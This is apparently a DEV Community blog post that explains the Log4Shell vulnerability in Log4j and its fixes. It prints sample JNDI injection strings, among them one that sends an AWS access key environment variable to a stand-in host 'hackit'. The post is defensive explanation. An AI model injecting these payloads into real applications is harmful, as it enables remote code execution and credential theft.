DEV Community

AK DevCraft
AK DevCraft Subscriber

Posted on

Log4J zero-day vulnerability demystified - Log4Shell

Probably you have already heard about Log4J vulnerability and the chaos it has created all over the world in the software industry. And how it has forced every software enterprise to join the race for patching log4j vulnerability ASAP.

What is log4j?

You probably know about log4j, but just in case you don't know it. Log4j is a matured and few decades old Java logging library used in millions of trillions of Java lines of code in various organizations to write application logs.

Some Background

Log4j supports expression to log the value in the application log files, which is obviously a good feature, that way you avoid using string concatenation.

E.g.

logger.info("User auth was successful: {}", user.getUserId());
Enter fullscreen mode Exit fullscreen mode

However, via the same expression, you can also log value via special expressions such as JNDI (Java Naming and Directory Interface) or environment lookup.

E.g.

logger.info("Performing remote lookup: {}", "${jndi:ldap://192.168.1.1:8000/O=akdev,C=log4j}");
Enter fullscreen mode Exit fullscreen mode

As you must be knowing that JNDI is an ancient J2EE specification that was used to read remote objects decades ago before RESTful came into the picture. JNDI was used to communicate in distributed systems when running in J2EE container servers like WebLogic, JBoss, etc.

Vulnerability

So what's the issue? So far all good, however, if a hacker tries to inject a JNDI lookup of a malicious remote server in a web page that accepts user input, and which prints input field value (that is what we generally do) in log, then it is a call for trouble!

To explain it differently, let's take a hypothetical example of the Google search text box. And let's say Google is logging all search texts (probably thatโ€™s true๐Ÿ˜‰, obviously for machine learning๐Ÿ˜‚) using the log4j library as below:

logger.info("google search text: {}", searchText);
Enter fullscreen mode Exit fullscreen mode

And hacker knows about it, so a hacker will search a malicious text like ${jndi:ldap://hackit/executeremote} and this value will be substituted in the above log statement, replacing the curly braces and will be executed on the running JVM.

google search text: ${jndi:ldap://hackit/executeremote}
Enter fullscreen mode Exit fullscreen mode

This will force JVM to perform the remote lookup from JVM to an external server, where some malicious code may get transmitted back to your JVM and now the malicious code/object is injected into the JVM by the hacker and they may get control of your application.

And this is not the only way to pass the malicious input, in case you're logging the HTTP headers and the hacker passes a similar malicious string in it, a remote execution will happen.

So how to fix it? Best and simple way to fix is to upgrade the log4j to version 2.16.0. If you're using Maven or Gradle built tools it can be done with dependencyManagement, explicit dependency declaration, or in Gradle's case using dependency constraints.
However, updating dependency is easier said than done. So in case it's not possible then patch the class directly.

There is also a partial fix, where you can disable JNDI lookup. But as log4j support environment variable lookup as well, and if hacker input a string such as ${jndi:ldap://hackit/${env.AWS_ACCESS_KEY_ID}}, then even if you disable the incoming call to the JVM by disabling JNDI lookup, the outgoing call would have been made and AWS access key id or similar secret will be compromised.

Reference

My other blogs:

If you have reached here, then I did a satisfactory effort to keep you reading. Please be kind to leave any comments or ask for any corrections. Happy Logging!

Top comments (0)